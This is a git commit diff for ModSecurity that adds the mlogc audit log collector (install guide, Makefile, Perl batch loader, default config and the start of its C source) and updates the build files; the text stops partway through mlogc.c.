apache2/mlogc-src/Makefile.in | 70 + apache2/mlogc-src/mlogc-batch-load.pl.in | 151 ++ apache2/mlogc-src/mlogc-default.conf | 91 ++ apache2/mlogc-src/mlogc.c | 1865 ++++++++++++++++++++++ apache2/mod_security2.c | 3 +- apache2/modsecurity.c | 9 - apache2/modsecurity.h | 39 +- apache2/msc_logging.c | 4 +- apache2/msc_release.c | 42 + apache2/msc_release.h | 67 + apache2/msc_test.c | 2 +- apache2/msc_util.c | 13 +- 18 files changed, 2385 insertions(+), 76 deletions(-) create mode 100644 apache2/mlogc-src/INSTALL create mode 100755 apache2/mlogc-src/Makefile.in create mode 100755 apache2/mlogc-src/mlogc-batch-load.pl.in create mode 100644 apache2/mlogc-src/mlogc-default.conf create mode 100644 apache2/mlogc-src/mlogc.c create mode 100644 apache2/msc_release.c create mode 100644 apache2/msc_release.h diff --git a/CHANGES b/CHANGES index e83c35f3..6cfe4f01 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,8 @@ -31 Jul 2008 - trunk +02 Sep 2008 - trunk ------------------- + * Integrate mlogc source. + * Allow for disabling request body limit checks in phase:1. * Added transformations for processing parity for legacy protocols ported diff --git a/apache2/Makefile.in b/apache2/Makefile.in index 320b4152..29314190 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -3,16 +3,16 @@ MOD_SECURITY2 = mod_security2 apache2_config apache2_io apache2_util \ re re_operators re_actions re_tfns re_variables \ msc_logging msc_xml msc_multipart modsecurity msc_parsers msc_util msc_pcre \ - persist_dbm msc_reqbody pdf_protect msc_geo acmp msc_lua + persist_dbm msc_reqbody pdf_protect msc_geo acmp msc_lua msc_release MSC_TEST = re re_operators re_actions re_tfns re_variables \ msc_logging msc_xml msc_multipart modsecurity \ msc_parsers msc_util msc_pcre persist_dbm \ - msc_reqbody msc_geo acmp msc_lua + msc_reqbody msc_geo acmp msc_lua msc_release MOD_SECURITY2_H = re.h modsecurity.h msc_logging.h msc_multipart.h msc_parsers.h \ msc_pcre.h msc_util.h msc_xml.h persist_dbm.h apache2.h pdf_protect.h \ - msc_geo.h acmp.h utf8tables.h msc_lua.h + msc_geo.h acmp.h utf8tables.h msc_lua.h msc_release.h CC = @APXS_CC@ LIBTOOL = @APXS_LIBTOOL@ @@ -70,7 +70,7 @@ clean-extras: $(MAKE) -C $$dir clean; \ fi; \ done - @rm -rf ../tools/mlogc ../tools/mlogc-static + @rm -rf ../tools/mlogc ../tools/mlogc-batch-load.pl clean: clean-extras @rm -rf *.la *.lo *.o *.slo .libs msc_test msc-test-debug.log @@ -99,19 +99,12 @@ mod_security2.la: $(MOD_SECURITY2_H) *.c mlogc: @$(MAKE) -C mlogc-src mlogc \ && cp -p mlogc-src/mlogc ../tools \ + && cp -p mlogc-src/mlogc-batch-load.pl ../tools \ && echo \ && echo "Successfully built \"mlogc\" in ../tools." \ && echo "See: mlogc-src/INSTALL" \ && echo -mlogc-static: - @$(MAKE) -C mlogc-src static \ - && cp -p mlogc-src/mlogc ../tools/mlogc-static \ - && echo \ - && echo "Successfully built \"mlogc-static\" in ../tools." \ - && echo "See: mlogc-src/INSTALL" \ - && echo - ### Experimental Test Framework (*NIX only right now) msc_test.lo: msc_test.c $(LIBTOOL) --mode=compile $(CC) $(APXS_INCLUDES) $(APXS_CFLAGS) $(EXTRA_CFLAGS) $(MODSEC_EXTRA_CFLAGS) $(CPPFLAGS) $(APR_CFLAGS) $(APU_CFLAGS) -o msc_test.lo -c msc_test.c diff --git a/apache2/Makefile.win b/apache2/Makefile.win index 1b2c4af3..95a7a3fb 100644 --- a/apache2/Makefile.win +++ b/apache2/Makefile.win @@ -45,7 +45,8 @@ OBJS = mod_security2.obj apache2_config.obj apache2_io.obj apache2_util.obj \ re.obj re_operators.obj re_actions.obj re_tfns.obj re_variables.obj \ msc_logging.obj msc_xml.obj msc_multipart.obj modsecurity.obj \ msc_parsers.obj msc_util.obj msc_pcre.obj persist_dbm.obj \ - msc_reqbody.obj pdf_protect.obj msc_geo.obj acmp.obj msc_lua.obj + msc_reqbody.obj pdf_protect.obj msc_geo.obj acmp.obj msc_lua.obj \ + msc_release.obj all: $(DLL) diff --git a/apache2/configure b/apache2/configure index d8faaaab..4932ebaa 100755 --- a/apache2/configure +++ b/apache2/configure @@ -5831,6 +5831,8 @@ ac_config_files="$ac_config_files Makefile" ac_config_files="$ac_config_files build/apxs-wrapper" if test -e "$PERL"; then + ac_config_files="$ac_config_files mlogc-src/mlogc-batch-load.pl" + ac_config_files="$ac_config_files t/run-unit-tests.pl" ac_config_files="$ac_config_files t/run-regression-tests.pl" @@ -6407,6 +6409,7 @@ do "mod_security2_config.h") CONFIG_HEADERS="$CONFIG_HEADERS mod_security2_config.h" ;; "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; "build/apxs-wrapper") CONFIG_FILES="$CONFIG_FILES build/apxs-wrapper" ;; + "mlogc-src/mlogc-batch-load.pl") CONFIG_FILES="$CONFIG_FILES mlogc-src/mlogc-batch-load.pl" ;; "t/run-unit-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-unit-tests.pl" ;; "t/run-regression-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-regression-tests.pl" ;; "t/gen_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/gen_rx-pm.pl" ;; @@ -7022,6 +7025,7 @@ echo "$as_me: $ac_file is unchanged" >&6;} case $ac_file$ac_mode in "build/apxs-wrapper":F) chmod +x build/apxs-wrapper ;; + "mlogc-src/mlogc-batch-load.pl":F) chmod +x mlogc-src/mlogc-batch-load.pl ;; "t/run-unit-tests.pl":F) chmod +x t/run-unit-tests.pl ;; "t/run-regression-tests.pl":F) chmod +x t/run-regression-tests.pl ;; "t/gen_rx-pm.pl":F) chmod +x t/gen_rx-pm.pl ;; diff --git a/apache2/configure.in b/apache2/configure.in index 353e0da9..55c9ff17 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -327,6 +327,7 @@ CHECK_CURL() AC_CONFIG_FILES([Makefile]) AC_CONFIG_FILES([build/apxs-wrapper], [chmod +x build/apxs-wrapper]) if test -e "$PERL"; then + AC_CONFIG_FILES([mlogc-src/mlogc-batch-load.pl], [chmod +x mlogc-src/mlogc-batch-load.pl]) AC_CONFIG_FILES([t/run-unit-tests.pl], [chmod +x t/run-unit-tests.pl]) AC_CONFIG_FILES([t/run-regression-tests.pl], [chmod +x t/run-regression-tests.pl]) AC_CONFIG_FILES([t/gen_rx-pm.pl], [chmod +x t/gen_rx-pm.pl]) diff --git a/apache2/mlogc-src/INSTALL b/apache2/mlogc-src/INSTALL new file mode 100644 index 00000000..095f5a4d --- /dev/null +++ b/apache2/mlogc-src/INSTALL @@ -0,0 +1,76 @@ +ModSecurity Audit Log Collector (mlogc) + +Mlogc is used to connect a ModSecurity sensor to the central +audit log repository. + +To Install: +=========== + + 1) Copy the mlogc executable to an appropriate location. + + A good location might be /usr/local/bin, /opt/mlogc/bin, etc. + + 2) Create sensor in the central audit log repository. Note the + username and the password (SENSOR_USERNAME, SENSOR_PASSWORD). + Also note the IP address central repository listens on + (CONSOLE_IP_ADDRESS). + + 3) Configure the ModSecurity sensor to use mlogc + + # Use ReleventOnly auditing + SecAuditEngine RelevantOnly + + # Must use concurrent logging + SecAuditLogType Concurrent + + # Send all audit log parts + SecAuditLogParts ABIDEFGHZ + + # Use the same /CollectorRoot/LogStorageDir as in mlogc.conf + SecAuditLogStorageDir /var/log/mlogc/data + + # Pipe audit log to mlogc with your configuration + SecAuditLog "|/usr/local/bin/mlogc /etc/mlogc.conf" + + 4) Using the mlogc-default.conf as a template, configure the logger. + + Typically these are the only directives that will need to be modified + to conform to your site: + + # Points to the root of the installation. All relative + # paths configured in this file will be resolved with the + # help of this path (LogStorageDir, TransactionLog, etc.) + # + # Typically, this will be the parent directory that is configured + # in ModSecurity for the SecAuditLogStorageDirectory. So, if + # your SecAuditLogStorageDirectory is set to /var/log/mlogc/data, + # then set this to /var/log/mlogc. + CollectorRoot "/var/log/mlogc" + + # ModSecurity Console receiving URI. You can change the host + # and the port parts but leave everything else as is. + ConsoleURI https://CONSOLE_IP_ADDRESS:8886/rpc/auditLogReceiver + + # Sensor credentials + SensorUsername "SENSOR_USERNAME" + SensorPassword "SENSOR_PASSWORD" + + # Base directory where the audit logs are stored. This can be specified + # as a path relative to the CollectorRoot, or a full path. It should + # resolve to the same path as ModSecurity's SecAuditLogStorageDirectory. + LogStorageDir "data" + + See the mlogc-default.conf configuration file for details on other + configuration directives. + + 5) Restart the ModSecurity sensor. + + From now on every audit log generated will go to the repository. Make + sure you create an alert. Transactions without alerts will be recorded + but not displayed on the home page. + + To troubleshoot, generate alerts and observe file "mlogc-error.log". + + If mlogc fails to connect to the server it will pause for a period + of time (60 seconds by default) before it will try again. + diff --git a/apache2/mlogc-src/Makefile.in b/apache2/mlogc-src/Makefile.in new file mode 100755 index 00000000..9c23aea4 --- /dev/null +++ b/apache2/mlogc-src/Makefile.in @@ -0,0 +1,70 @@ +# Generated Makefile for ModSecurity Log Collector (mlogc) + +CC = @CC@ +EXTRA_CFLAGS = @EXTRA_CFLAGS@ + +srcdir = . +modsecsrcdir = $(srcdir)/.. +srclibdir = $(srcdir)/srclib + +MLOGC_VERSION = `grep '^\#define *VERSION ' mlogc.c | sed 's/.*VERSION *"\([^"]*\)"/\1/'` + +APR_FLAGS = @APR_CFLAGS@ +APR_LIBS = @APR_LINK_LD@ + +CURL_FLAGS = @CURL_CFLAGS@ +CURL_LIBS = @CURL_LIBS@ + +PCRE_FLAGS = @PCRE_CFLAGS@ +PCRE_LIBS = @PCRE_LIBS@ + +APR_S_FLAGS = `$(srclibdir)/install/apr/bin/apr-1-config --includes --cppflags --cflags` +APR_S_LIBS = `$(srclibdir)/install/apr/bin/apr-1-config --link-ld` + +CURL_S_FLAGS = `$(srclibdir)/install/curl/bin/curl-config --cflags` +CURL_S_LIBS = `$(srclibdir)/install/curl/bin/curl-config --libs` + +PCRE_S_FLAGS = `$(srclibdir)/install/pcre/bin/pcre-config --cflags` +PCRE_S_LIBS = `$(srclibdir)/install/pcre/bin/pcre-config --libs` + +all: mlogc + +mlogc: mlogc.c + @echo; \ + echo "Building dynamically linked mlogc..."; \ + $(CC) $(CFLAGS) -o mlogc mlogc.c \ + -I$(modsecsrcdir) \ + $(APR_FLAGS) $(CURL_FLAGS) $(PCRE_FLAGS) \ + $(APR_LIBS) $(CURL_LIBS) $(PCRE_LIBS); \ + chmod 755 mlogc; \ + echo; \ + echo "Build finished. Please follow the INSTALL instructions to complete the install."; \ + echo + +.archives-ok: + @if [ -n "$(MLOGC_NOVERIFY)" -a "$(MLOGC_NOVERIFY)" = "1" ]; then \ + touch .archives-ok; \ + else \ + $(srclibdir)/archives.sh && touch .archives-ok; \ + fi + +.support-libs-ok: + $(srclibdir)/build.sh && touch .support-libs-ok + +archives: .archives-ok + +support-libs: .support-libs-ok + +clean-build: + @rm -rf $(srclibdir)/build + +clean-install: + @rm -rf $(srclibdir)/install + +clean-mlogc: + @rm -rf core mlogc *~ *.o *.so *.lo *.la *.slo + +distclean: clean + +clean: clean-build clean-install clean-mlogc + diff --git a/apache2/mlogc-src/mlogc-batch-load.pl.in b/apache2/mlogc-src/mlogc-batch-load.pl.in new file mode 100755 index 00000000..75d43ba5 --- /dev/null +++ b/apache2/mlogc-src/mlogc-batch-load.pl.in @@ -0,0 +1,151 @@ +#!@PERL@ +# +# ModSecurity for Apache 2.x, http://www.modsecurity.org/ +# Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) +# +# This product is released under the terms of the General Public Licence, +# version 2 (GPLv2). Please refer to the file LICENSE (included with this +# distribution) which contains the complete text of the licence. +# +# There are special exceptions to the terms and conditions of the GPL +# as it is applied to this software. View the full text of the exception in +# file MODSECURITY_LICENSING_EXCEPTION in the directory of this software +# distribution. +# +# If any of the files related to licensing are missing or if you have any +# other questions related to licensing please contact Breach Security, Inc. +# directly using the email address support@breach.com. +# + +use strict; +use File::Find qw(find); +use File::Spec::Functions qw(catfile); +use Sys::Hostname qw(hostname); +use Digest::MD5 qw(md5_hex); + +my $ROOTDIR = $ARGV[0] || ''; +my $MLOGC = $ARGV[1] || ''; +my $MLOGCCONF = $ARGV[2] || ''; +my @AUDIT = (); + +if ($ROOTDIR eq '' or ! -e $MLOGC or ! -e $MLOGCCONF) { + printf STDERR "\nUsage: $0 \n\n"; + exit 1; +} + +open(MLOGC, "|$MLOGC -f $MLOGCCONF") or die "ERROR: could not open '$MLOGC' - $!\n"; + +find( + { + wanted => sub { + my($fn,$dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size); + + (($dev,$ino,$mode,$nlink,$uid,$gid,$rdev,$size) = stat($_)) && + -f _ && + /^\d{8}-\d+-\w{24}$/s + && (($fn = $File::Find::name) =~ s/^\Q$ROOTDIR\E//) + && push(@AUDIT, [$fn, $size]); + }, + follow => 1, + }, + $ROOTDIR +); + +for my $audit (@AUDIT) { + my $fn = $audit->[0]; + my $line = ""; + my $err = 0; + my $ln = 0; + my $sln = 0; + my $sect = ""; + my $data = ""; + my %data = ( + hostname => hostname(), + remote_addr => "-", + remote_user => "-", + local_user => "-", + logtime => "-", + request => "-", + response_status => "-", + bytes_sent => "-", + referer => "-", + user_agent => "-", + uniqueid => "-", + sessionid => "-", + audit_file => $fn, + extra => "0", + audit_size => $audit->[1], + md5 => "-", + ); + + ### Parse the audit file in an attempt to recreate the original log line + open (AUDIT, "<".catfile($ROOTDIR,$fn)) or $err = 1; + if ($err == 1) { + print STDERR "ERROR: could not open '$fn' - $!\n"; + next; + } + + while($line = ) { + $data .= $line; + chop $line; + $ln++; + $sln++; + if ($line =~ m%^--[0-9A-Fa-f]{8}-([A-Z])--$%) { + $sect = $1; + $sln = 0; + next; + }; + if ($sect eq 'A') { + if ($line =~ m%^(\[[-\d/: a-zA-Z]{27}\]) (\S+) (\S+) (\d+) (\S+) (\d+)%) { + $data{logtime} = $1; + $data{uniqueid} = $2; + $data{remote_addr} = $3; + } + next; + } + elsif ($sect eq 'B') { + if ($sln == 1) { + $data{request} = $line; + } + elsif ($line =~ m%^User=Agent: (.*)%i) { + $data{user_agent} = $1; + } + elsif ($line =~ m%^Referer: (.*)%i) { + $data{referer} = $1; + } + next; + } + elsif ($sect eq 'F') { + if ($sln == 1 and $line =~ m%^\S+ (\d{3})\D?.*%) { + $data{response_status} = $1; + } + elsif ($line =~ m%^Content-Length: (\d+)%i) { + $data{bytes_sent} = $1; + } + next; + } + } + $data{md5} = md5_hex($data); + + printf MLOGC ( + "%s %s %s %s %s \"%s\" %s %s \"%s\" \"%s\" %s \"%s\" %s %s %s md5:%s\n", + $data{hostname}, + $data{remote_addr}, + $data{remote_user}, + $data{local_user}, + $data{logtime}, + $data{request}, + $data{response_status}, + $data{bytes_sent}, + $data{referer}, + $data{user_agent}, + $data{uniqueid}, + $data{sessionid}, + $data{audit_file}, + $data{extra}, + $data{audit_size}, + $data{md5}, + ); + +} + diff --git a/apache2/mlogc-src/mlogc-default.conf b/apache2/mlogc-src/mlogc-default.conf new file mode 100644 index 00000000..96378fef --- /dev/null +++ b/apache2/mlogc-src/mlogc-default.conf @@ -0,0 +1,91 @@ +########################################################################## +# Required configuration +# At a minimum, the items in this section will need to be adjusted to +# fit your environment. The remaining options are optional. +########################################################################## + +# Points to the root of the installation. All relative +# paths will be resolved with the help of this path. +CollectorRoot "/var/log/mlogc" + +# ModSecurity Console receiving URI. You can change the host +# and the port parts but leave everything else as is. +ConsoleURI "https://CONSOLE_IP_ADDRESS:8888/rpc/auditLogReceiver" + +# Sensor credentials +SensorUsername "SENSOR_USERNAME" +SensorPassword "SENSOR_PASSWORD" + +# Base directory where the audit logs are stored. This can be specified +# as a path relative to the CollectorRoot, or a full path. +LogStorageDir "data" + +# Transaction log will contain the information on all log collector +# activities that happen between checkpoints. The transaction log +# is used to recover data in case of a crash (or if Apache kills +# the process). +TransactionLog "mlogc-transaction.log" + +# The file where the pending audit log entry data is kept. This file +# is updated on every checkpoint. +QueuePath "mlogc-queue.log" + +# The location of the error log. +ErrorLog "mlogc-error.log" + +# The location of the lock file. +LockFile "mlogc.lck" + +# Keep audit log entries after sending? (0=false 1=true) +# NOTE: This is required to be set in SecAuditLog mlogc config if you +# are going to use a secondary console via SecAuditLog2. +KeepEntries 0 + + +########################################################################## +# Optional configuration +########################################################################## + +# The error log level controls how much detail there +# will be in the error log. The levels are as follows: +# 0 - NONE +# 1 - ERROR +# 2 - WARNING +# 3 - NOTICE +# 4 - DEBUG +# 5 - DEBUG2 +# +ErrorLogLevel 3 + +# How many concurrent connections to the server +# are we allowed to open at the same time? Log collector uses +# multiple connections in order to speed up audit log transfer. +# This is especially needed when the communication takes place +# over a slow link (e.g. not over a LAN). +MaxConnections 10 + +# The time each connection will sit idle before being reused, +# in milliseconds. Increase if you don't want ModSecurity Console +# to be hit with too many log collector requests. +TransactionDelay 50 + +# The time to wait before initialization on startup in milliseconds. +# Increase if mlogc is starting faster then termination when the +# sensor is reloaded. +StartupDelay 1000 + +# How often is the pending audit log entry data going to be written +# to a file. The default is 15 seconds. +CheckpointInterval 15 + +# If the server fails all threads will back down until the +# problem is sorted. The management thread will periodically +# launch a thread to test the server. The default is to test +# once in 60 seconds. +ServerErrorTimeout 60 + +# The following two parameters are not used yet, but +# reserved for future expansion. +# KeepAlive 150 +# KeepAliveTimeout 300 + diff --git a/apache2/mlogc-src/mlogc.c b/apache2/mlogc-src/mlogc.c new file mode 100644 index 00000000..a36e155a --- /dev/null +++ b/apache2/mlogc-src/mlogc.c @@ -0,0 +1,1865 @@ +/* + * ModSecurity for Apache 2.x, http://www.modsecurity.org/ + * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) + * + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. + * + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#if APR_HAVE_UNISTD_H +#include /* for getpid() */ +#endif +#include +#include +#include +#include +#include + +#include "msc_release.h" + +static void logc_shutdown(int rc); +static void create_new_worker(int lock); +static void error_log(int level, void *thread, const char *text, ...) PRINTF_ATTRIBUTE(3,4); + + +/* -- Constants -- */ + +/* Error log levels. */ +#define LOG_ERROR 1 +#define LOG_WARNING 2 +#define LOG_NOTICE 3 +#define LOG_DEBUG 4 +#define LOG_DEBUG2 5 + +/* The management thread will wake up every five seconds. */ +#define MANAGER_SLEEP 5000000 +#define MANAGER_SUBSLEEP 10000 + +/* Hack to allow multiple mlogc with single delete */ +#define KEEP_ENTRIES_REMOVE_HACK 2600 +#define KEEP_ENTRIES_REMOVE_TIME 0l +#ifdef TEST_HACK +#define TEST_WITH_RAND_SLEEP(n) \ +do { \ + int sec = rand()/(RAND_MAX/n); \ + error_log(LOG_DEBUG2, NULL, "TEST_HACK: Sleeping for %ds", sec); \ + apr_sleep(apr_time_from_sec(sec)); \ +} while(0) +#else +#define TEST_WITH_RAND_SLEEP(n) +#endif + +#define CAPTUREVECTORSIZE 60 +#define PIPE_BUF_SIZE 65536 +#define MEMALLOC_ERROR_MSG "Memory allocation failed!" +#define VERSION MODSEC_VERSION + +#define CMDLINE_OPTS "fh" + +#define IN 0 +#define OUT 1 + +#define STATUSBUF_SIZE 256 + +#define ISHEXCHAR(X) (((X >= '0')&&(X <= '9')) || ((X >= 'a')&&(X <= 'f')) || ((X >= 'A')&&(X <= 'F'))) + +/* -- Regex Patterns -- */ + +/** + * This regular expression is used to parse the entire + * log line we receive from Apache. The REQUEST_LINE is + * treated as a single parameter to allow for invalid + * requests. + */ +const char logline_pattern[] = + "^(\\S+)" + "\\ (\\S+)\\ (\\S+)\\ (\\S+)" + "\\ \\[([^:]+):(\\d+:\\d+:\\d+)\\ ([^\\]]+)\\]" + "\\ \"(.*)\"" + "\\ (\\d+)\\ (\\S+)" + "\\ \"(.*)\"\\ \"(.*)\"" + "\\ (\\S+)\\ \"(.*)\"" + "\\ (\\S+)\\ (\\d+)\\ (\\d+)" + "\\ (\\S+)" + "(.*)$"; + + +/** + * This regular expression can be used to parse + * a REQUEST_LINE field into method, URI, and + * protocol. + */ +const char requestline_pattern[] = + "(\\S+)\\ (.*?)\\ (\\S+)"; + + +/* -- Structures -- */ + +typedef struct { + unsigned long int id; + const char *line; + apr_size_t line_size; +} entry_t; + + +/* -- Global variables -- */ + +pid_t logc_pid = 0; +const char *conffile = NULL; +const char *lockfile = NULL; +int have_read_data = 0; +int checkpoint_interval = 60; +apr_time_t checkpoint_time_last = 0; +const char *collector_root = NULL; +apr_table_t *conf = NULL; +const char *console_uri = NULL; +apr_array_header_t *curl_handles = NULL; +int current_workers = 0; +int management_thread_active = 0; +unsigned long int entry_counter = 1; +const char *error_log_path = NULL; +apr_file_t *error_log_fd = NULL; +int error_log_level = 2; +apr_hash_t *in_progress = NULL; +int keep_alive = 150; /* Not used yet. */ +int keep_alive_timeout = 300; /* Not used yet. */ +int keep_entries = 0; +const char *log_repository = NULL; +void *logline_regex = NULL; +int max_connections = 10; +apr_global_mutex_t *gmutex = NULL; +apr_thread_mutex_t *mutex = NULL; +apr_pool_t *pool = NULL; +apr_array_header_t *queue = NULL; +const char *queue_path = NULL; +/* apr_time_t queue_time = 0; */ +void *requestline_regex = NULL; +int running = 0; +const char *sensor_password = NULL; +const char *sensor_username = NULL; +int server_error = 0; +apr_time_t server_error_last_check_time = 0; +int server_error_timeout = 60; +int startup_delay = 100; +int transaction_delay = 100; +const char *transaction_log_path = NULL; +apr_file_t *transaction_log_fd = NULL; + + +/* -- Commandline opts -- */ +int opt_force = 0; + + +/* -- Code -- */ + +static char *_log_escape(const char *input, apr_size_t input_len) +{ + static const char c2x_table[] = "0123456789abcdef"; + unsigned char *d = NULL; + char *ret = NULL; + unsigned long int i; + + if (input == NULL) return NULL; + + ret = apr_palloc(pool, input_len * 4 + 1); + if (ret == NULL) return NULL; + d = (unsigned char *)ret; + + i = 0; + while(i < input_len) { + switch(input[i]) { + case '"' : + *d++ = '\\'; + *d++ = '"'; + break; + case '\b' : + *d++ = '\\'; + *d++ = 'b'; + break; + case '\n' : + *d++ = '\\'; + *d++ = 'n'; + break; + case '\r' : + *d++ = '\\'; + *d++ = 'r'; + break; + case '\t' : + *d++ = '\\'; + *d++ = 't'; + break; + case '\v' : + *d++ = '\\'; + *d++ = 'v'; + break; + case '\\' : + *d++ = '\\'; + *d++ = '\\'; + break; + default : + if ((input[i] <= 0x1f)||(input[i] >= 0x7f)) { + *d++ = '\\'; + *d++ = 'x'; + *d++ = c2x_table[input[i] >> 4]; + *d++ = c2x_table[input[i] & 0x0f]; + } else { + *d++ = input[i]; + } + break; + } + + i++; + } + + *d = 0; + + return ret; +} + +/** + * Converts a byte given as its hexadecimal representation + * into a proper byte. Handles uppercase and lowercase letters + * but does not check for overflows. + */ +static unsigned char x2c(unsigned char *what) { + register unsigned char digit; + + digit = (what[0] >= 'A' ? ((what[0] & 0xdf) - 'A') + 10 : (what[0] - '0')); + digit *= 16; + digit += (what[1] >= 'A' ? ((what[1] & 0xdf) - 'A') + 10 : (what[1] - '0')); + + return digit; +} + +/** + * URL Decodes a string in-place + */ +static int urldecode_inplace(unsigned char *input, apr_size_t input_len) { + unsigned char *d = (unsigned char *)input; + apr_size_t i; + + if (input == NULL) return 0; + + i = 0; + while (i < input_len) { + if (input[i] == '%') { + /* Character is a percent sign. */ + + /* Are there enough bytes available? */ + if (i + 2 < input_len) { + char c1 = input[i + 1]; + char c2 = input[i + 2]; + + if (ISHEXCHAR(c1) && ISHEXCHAR(c2)) { + /* Valid encoding - decode it. */ + *d++ = x2c(&input[i + 1]); + i += 3; + } else { + /* Not a valid encoding, skip this % */ + *d++ = input[i++]; + } + } else { + /* Not enough bytes available, copy the raw bytes. */ + *d++ = input[i++]; + } + } else { + /* Character is not a percent sign. */ + if (input[i] == '+') { + *d++ = ' '; + } else { + *d++ = input[i]; + } + i++; + } + } + + *d = '\0'; + + return 1; +} + +/** + * Detect a relative path and merge it with the collector root + * path. Leave absolute paths as they are. + */ +static const char *file_path(const char *path) +{ + char *newpath = NULL; + apr_status_t rc; + + if (path == NULL) return NULL; + + rc = apr_filepath_merge(&newpath, collector_root, path, APR_FILEPATH_TRUENAME, pool); + if ((newpath != NULL) && (rc == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rc) + || APR_STATUS_IS_ENOENT(rc) || APR_STATUS_IS_ENOTDIR(rc))) + { + return newpath; + } + else { + return NULL; + } +} + + +/** + * Returns the current datetime as a string. + */ +static char *current_logtime(char *dest, int dlen) +{ + apr_time_exp_t t; + apr_size_t len; + + apr_time_exp_lt(&t, apr_time_now()); + apr_strftime(dest, &len, dlen, "%a %b %d %H:%M:%S %Y", &t); + + return dest; +} + + +/** + * Logs error to the error log (if available) or + * to the stderr. + */ +static void error_log(int level, void *thread, const char *text, ...) +{ + char msg1[4096] = ""; + char msg2[4096] = ""; + char datetime[100]; + va_list ap; + + if (level > error_log_level) return; + + va_start(ap, text); + + apr_vsnprintf(msg1, sizeof(msg1), text, ap); + apr_snprintf(msg2, sizeof(msg2), "[%s] [%d] [%" APR_PID_T_FMT "/%pp] %s\n", current_logtime(datetime, sizeof(datetime)), level, logc_pid, (thread ? thread : 0), msg1); + + if (error_log_fd != NULL) { + apr_size_t nbytes_written; + apr_size_t nbytes = strlen(msg2); + apr_file_write_full(error_log_fd, msg2, nbytes, &nbytes_written); + } + else { + fprintf(stderr, msg2); + } + + va_end(ap); +} + + +/** + * Adds one entry to the internal queue. It will (optionally) start + * a new thread to handle it. + */ +static void add_entry(const char *data, int start_worker) +{ + entry_t *entry = NULL; + + entry = (entry_t *)malloc(sizeof(entry_t)); + entry->id = 0; + entry->line = strdup(data); + entry->line_size = strlen(entry->line); + + apr_thread_mutex_lock(mutex); + + /* Assign unique ID to this log entry. */ + entry->id = entry_counter++; + + /* Add the new audit log entry to the queue. */ + *(entry_t **)apr_array_push(queue) = entry; + + /* Create a new worker if we can, but not if there is a known problem with the server. */ + if ((start_worker != 0)&&(current_workers < max_connections)&&(server_error == 0)) { + create_new_worker(0); + } + + apr_thread_mutex_unlock(mutex); +} + + +/** + * Read the queue entries. + */ +static int read_queue_entries(apr_file_t *fd, apr_time_t *queue_time) +{ + char linebuf[4100]; + int line_count = -1; + + for(;;) { + apr_status_t rc = apr_file_gets(linebuf, 4096, fd); + char *p; + + if (rc == APR_EOF) break; + if (rc != APR_SUCCESS) { + error_log(LOG_ERROR, NULL, "Error reading from the queue file."); + logc_shutdown(1); + } + + if (line_count < 0) { + /* First line contains the queue time. */ + *queue_time = (apr_time_t)apr_atoi64(linebuf); + line_count = 0; + continue; + } + + p = &linebuf[0]; + + /* Remove the \n from the end of the line. */ + while(*p != '\0') { + if (*p == '\n') { + *p = '\0'; + break; + } + p++; + } + + if (linebuf[0] == '#') { /* Ignore comments. */ + continue; + } + + add_entry((const char *)&linebuf, 0); + + line_count++; + } + + apr_file_close(fd); + + return line_count; +} + + +/** + * Initialise the transaction log. This code should be + * executed only once at startup. + */ +static void transaction_log_init() +{ + /* ENH: These big enough? */ + char new_queue_path[256]; + char old_queue_path[256]; + apr_file_t *queue_fd = NULL; + apr_time_t queue_time; + + apr_snprintf(new_queue_path, sizeof(new_queue_path), "%s.new", queue_path); + apr_snprintf(old_queue_path, sizeof(old_queue_path), "%s.old", queue_path); + + /* Put a lock in place to ensure exclusivity. */ + if (APR_STATUS_IS_EBUSY(apr_global_mutex_trylock(gmutex))) { + error_log(LOG_WARNING, NULL, "Transaction initialization waiting on mutex"); + } + apr_global_mutex_lock(gmutex); + + error_log(LOG_DEBUG, NULL, "Transaction initialization started."); + + /* Delete .new file if there is one. */ + apr_file_remove(new_queue_path, pool); + + /* Read in the data from the queue. */ + if (apr_file_open(&queue_fd, queue_path, APR_READ | APR_FILE_NOCLEANUP, + 0, pool) == APR_SUCCESS) + { + int line_count = read_queue_entries(queue_fd, &queue_time); + + apr_file_close(queue_fd); + + if (line_count > 0) { + error_log(LOG_NOTICE, NULL, "Loaded %d entries from the queue file.", line_count); + } + } + /* Try the old queue file. */ + else if (apr_file_open(&queue_fd, old_queue_path, APR_READ | APR_FILE_NOCLEANUP, + 0, pool) == APR_SUCCESS) + { + int line_count = read_queue_entries(queue_fd, &queue_time); + apr_file_close(queue_fd); + error_log(LOG_NOTICE, NULL, "Loaded %d entries from the OLD queue file.", line_count); + apr_file_rename(old_queue_path, queue_path, pool); + } + else { + error_log(LOG_NOTICE, NULL, "Queue file not found. New one will be created."); + } + + /* Delete the old queue file. */ + apr_file_remove(old_queue_path, pool); + + checkpoint_time_last = apr_time_now(); + + /* Start fresh with the transaction log. Do note that + * we do not truncate the transaction log on purpose. Apache + * will start copies of piped logging binaries during configuration + * testing. Truncating would erase the log of a currently running + * instance. + */ + if (apr_file_open(&transaction_log_fd, transaction_log_path, APR_WRITE | APR_CREATE + | APR_APPEND | APR_XTHREAD, APR_OS_DEFAULT, pool) != APR_SUCCESS) + { + error_log(LOG_ERROR, NULL, "Failed to open the transaction log: %s\n", transaction_log_path); + apr_global_mutex_unlock(gmutex); + logc_shutdown(1); + } + + /* Unlock */ + apr_global_mutex_unlock(gmutex); + + error_log(LOG_DEBUG, NULL, "Transaction initialization completed."); +} + + +/** + * Log entry event (incoming or outgoing) to the transaction log. 